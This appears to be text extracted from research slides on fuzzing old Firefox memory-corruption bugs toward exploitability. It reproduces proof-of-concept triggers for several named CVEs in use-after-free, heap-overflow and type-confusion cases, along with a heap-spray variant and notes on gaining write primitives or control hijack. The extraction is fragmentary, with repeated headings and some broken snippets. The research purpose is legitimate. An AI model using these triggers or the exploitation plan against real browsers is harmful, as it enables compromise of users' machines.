



The object with
the dangling
pointer is what we
are going to
corrupt




Freed object

e.g if we can change the
dangling pointer as we want,
then we can have an
arbitrary read primitive



Define the thing we
aim to corrupt as
exceptional object or
victim object

The freed object is
what we are going
to corrupt




Freed object

e.g if we can overwrite the
freed region with something
interesting, so that if we
corrupt part of it, we get an
exploitable state

UAF



Write-after-free



Challenge:

- What to write to the freed memory?
- How to write it into the freed memory?
- What offset at which the write can be done?
- What's the constraint of payload written?

If we can find a use case so that the corrupted field is a source/destination of another write OR destination address of a jump, then we have write primitive OR control hijack


- Place allocation code right after memory free
- Fuzz with heap spray/ heap grooming / garbage collection primitives
- Guided by some property of the heap layout

UAF

→ **Write-after-free**

Challenge:

- What to write to the freed memory?
- **How to write it into the freed memory?**
- What offset at which the write can be done?
- What's the constraint of payload written?




- this limits the exploitability
- Fuzz to find code fragment that can manipulate the offset of the write

UAF

Write-after-free

Challenge:

- What to write to the freed memory?
- How to write it into the freed memory?
- What offset at which the write can be done?
- What's the constraint of payload written?




If our goal is to find an exploitable state
(in which we can control branching
address or memory write, then we do not
need to worry about this at this stage

UAF


Write-after-free

Challenge:

- What to write to the freed memory?
- How to write it into the freed memory?
- What offset at which the write can be done?
- What's the constraint of payload written?



Analysis of a typical PoC



(maybe) Heap preparation

(maybe) Heap preparation

Fuzz to insert code fragment
- overwrite the freed region

Change the payload of write if
we can

Check if that the field we overwrite
can be exploited, e.g source of a
mem write/ jump address

Most UAF vulnerabilities are related to HTML DOM element

CVE-2018-18492

```
<script>
function start() {
    o260=document.createElementNS('http://www.w3.org/1999/xhtml','select');
    o261=document.createElementNS('http://www.w3.org/1999/xhtml','optgroup');
    o577=o260.options;
    o651=document.createElementNS('http://www.w3.org/1999/xhtml','optgroup');
    o261.appendChild(o651);
    o261.addEventListener('DOMNodeRemoved',fun0);
    o995=o577.add(o651);
}

function fun0() {
    o260=null;o261=null;o651=null;

    FuzzingFunctions.garbageCollect();FuzzingFunctions.cycleCollect();FuzzingFunctions.garbageCollect();
    FuzzingFunctions.cycleCollect();
}
</script>
<body onload="start()"></body>
```

Most UAF vulnerabilities are related to HTML DOM element

CVE-2017-5404. Found by Domato fuzzer: <https://github.com/googleprojectzero/domato>

```
<style>
body { display: table }
</style>
<script>
function freememory() {
  try { fuzzPriv.forceGC(); } catch(err) { alert('Please install domFuzzLite3'); }
}
function go() {
  var s = document.getSelection();
  window.find("1",true,false,true,false);
  s.modify("extend","forward","line");
  document.body.append(document.createElement("table"));
  freememory()
}
</script>
<body onload=go()>
<table>
<th>u~Z1Cqn`aA}SOkre=]{</th>
</table>
<progress></progress>
```


Most UAF vulnerabilities are related to HTML DOM element

CVE-2018-5180


```
<script>
  o935=document.createElementNS('http://www.w3.org/1999/xhtml','canvas');
  o935.getContext('webgl2',{depth: true,stencil: true,antialias: true,premultipliedAlpha:
false,preserveDrawingBuffer: true,failIfMajorPerformanceCaveat: false,});
  o935.setAttribute('height','3');
  o2819=o935.getContext('webgl2',{stencil: false,preserveDrawingBuffer:
true,failIfMajorPerformanceCaveat: true,});
  o3250=o2819.createBuffer();
  o2819.bindBuffer(o2819.PIXEL_UNPACK_BUFFER,o3250);
  o3623=o2819.createTexture();
  o2819.bindTexture(o2819.TEXTURE_2D,o3623);
  o2819.copyTexImage2D(o2819.TEXTURE_2D,2,o2819.RGBA,1,4,8,7,0);
  o935.setAttribute('height','9');
  o2819.drawElements(o2819.LINE_STRIP,0,o2819.UNSIGNED_BYTE,10);
</script>
```

Most UAF vulnerabilities are related to HTML DOM element

CVE-2018-5155

```
<script>
function start() {
    o100=window.open('svg.svg','p58','height=6');
    o100.onload=fun0;
    setTimeout(fun1, 400);
}
function fun0(e) {
    o101=e.target;;
    o109=o101.getElementById('id1');
    o120=o101.getElementById('id8');
}
function fun1() {
    o167=o109.ownerDocument;
    o168=document.createElement('head');
    o167.documentElement.appendChild(o168);
    o120.setAttribute('width','393216');
    o206=document.createElement('head');
    o167.documentElement.appendChild(o206);
    o207=document.createElement('style');
    o206.appendChild(o207);
    o207.textContent="*{ -moz-transition: 235ms; -moz-border-end-color: green; border-right-style: inset";
    setTimeout(fun2,240);
}
function fun2() {
    o120.setAttribute('viewBox','0 0 1000 1000');
    o5=document.createElement("div");
    o5.innerHTML="<svg height='10px' xmlns='http://www.w3.org/2000/svg'><set attributeName='font-weight'><style>*{}}
    *{ background-position-x: 1px";
    o168.innerHTML=o5.innerHTML;
}
</script>
<body onload="start()"></body>
```

Heap Overflow (similar to UAF)




If we can find a use case of this to be a source/destination of another write OR destination address of a jump, then we have write primitive OR control hijack

Challenge:

- What to write to the overflowed memory?
- How to write it into the overflowed memory?
- What offset at which the write can be done?
- What's the constraint of payload written?

Analysis of a typical PoC



Heap Overflow vulnerabilities can be pure JS or HTML DOM + JS

CVE-2018-5093

```
<html>
<script>
v = new WebAssembly.Table({
  element: "anyfunc"
});
v.get(1);
</script>
```

Heap Overflow vulnerabilities can be pure JS or HTML DOM + JS

CVE-2018-5127

<html>

<script>

```
o1035=document.createElementNS('http://www.w3.org/2000/svg','path');

o1035.setAttribute('d','M 19 786434 C 7077888 11, 18 98304, 10 94208 z');

o1161=o1035.animatedPathSegList;

o1189=o1035.createSVGPathSegLinetoVerticalRel(1);

o1398=o1161.getItem(1);

o1768=o1035.pathSegList;

o1768.replaceItem(o1189,1);

o1768.insertItemBefore(o1189,1);

o1768.appendItem(o1398);
```

</script>

Heap Overflow vulnerabilities can be pure JS or HTML DOM + JS

CVE-2017-5465

```
<svg filter="url(#f)">  
<filter id="f" filterRes="19" filterUnits="userSpaceOnUse">  
<feConvolveMatrix kernelMatrix="1 1 1 1 1 1 1 1 1" kernelUnitLength="1 -1" />
```

Type Confusion

- Confuse type X with type Y
- Mostly related to JIT Compiler in JS
-

Type Confusion

CVE-2019-11701

```
const v4 = [{a: 0}, {a: 1}, {a: 2}, {a: 3}, {a: 4}];
```

```
function v7(v8,v9) {  
  if (v4.length == 0) {  
    v4[3] = {a: 5};  
  }  
  const v11 = v4.pop();  
  v11.a; // type confusion here  
  
  for (let v15 = 0; v15 < 10000; v15++) {}  
}
```

```
var p = {};  
p.__proto__ = [{a: 0}, {a: 1}, {a: 2}];  
p[0] = -1.8629373288622089e-06;  
v4.__proto__ = p;
```

```
for (let v31 = 0; v31 < 1000; v31++) {  
  v7();  
}
```

**Difficult to use fuzzing to
mutate while preserving the
vulnerability**

```
buf = []  
buf.push(new ArrayBuffer(0x20));  
buf.push(new ArrayBuffer(0x20));  
buf.push(new ArrayBuffer(0x20));  
buf.push(new ArrayBuffer(0x20));  
buf.push(new ArrayBuffer(0x20));  
buf.push(new ArrayBuffer(0x20));  
buf.push(new ArrayBuffer(0x20));  
buf.push(new ArrayBuffer(0x20));  
buf.push(new ArrayBuffer(0x20));  
buf.push(new ArrayBuffer(0x20));  
var abuf = buf[5];
```

```
var e = new Uint32Array(abuf);
```

```
const arr = [e, e, e, e, e];
```

```
function vuln(a1) {  
  if (arr.length == 0) {  
    arr[3] = e;  
  }  
}
```

```
const v11 = arr.pop();
```

```
... // do something using the type confusion here
```

```
for (let v15 = 0; v15 < 1000000; v15++) {}  
}
```


```
p = [new Uint8Array(abuf), e, e];
```

```
arr.__proto__ = p;
```

```
for (let v31 = 0; v31 < 2000; v31++) {  
  vuln(18);  
}
```


Plan

For UAF / Heap overflow vulnerability:




Plan

For UAF / Heap overflow vulnerability:



Plan

For UAF / Heap overflow vulnerability:



We want fuzzer to generate codes to :

diverge the crash

find some object as the exceptional (victim) object x


do heap manipulation to

- for UAF: overwrite freed memory with x
- for heap overflow: place x adjacent to vulnerable object

(up to this point, we were adding codes up to the vulnerability triggering point)


Plan

For UAF / Heap overflow vulnerability:



Plan

For UAF / Heap overflow vulnerability:



exploitable primitive identification:

- branching with **controlled address**
- Write with content from **controlled address** / to **controlled address**

But what is a controlled address?


The offset range in the exceptional object we can write at the vulnerability trigger

This fact limits the exploitability of a candidate

There might be cases that we can manipulate offset we write to before the vulnerability trigger

Plan

For UAF / Heap overflow vulnerability:



controlled address?


The offset range in the exceptional object we can write at the vulnerability trigger

This fact limits the exploitability of a candidate


There might be cases that we can manipulate offset we write to before the vulnerability trigger

Plan

For UAF / Heap overflow vulnerability:




FUZE:




Plan

For UAF / Heap overflow vulnerability:



Plan

For UAF / Heap overflow vulnerability:



How we know we have placed exceptional object correctly?
Can we do heap manipulation through fuzzing at all?

Challenge:

Fallback: Like what Gollum did: assume heap layout is as desired. Leave heap layout manipulation to people

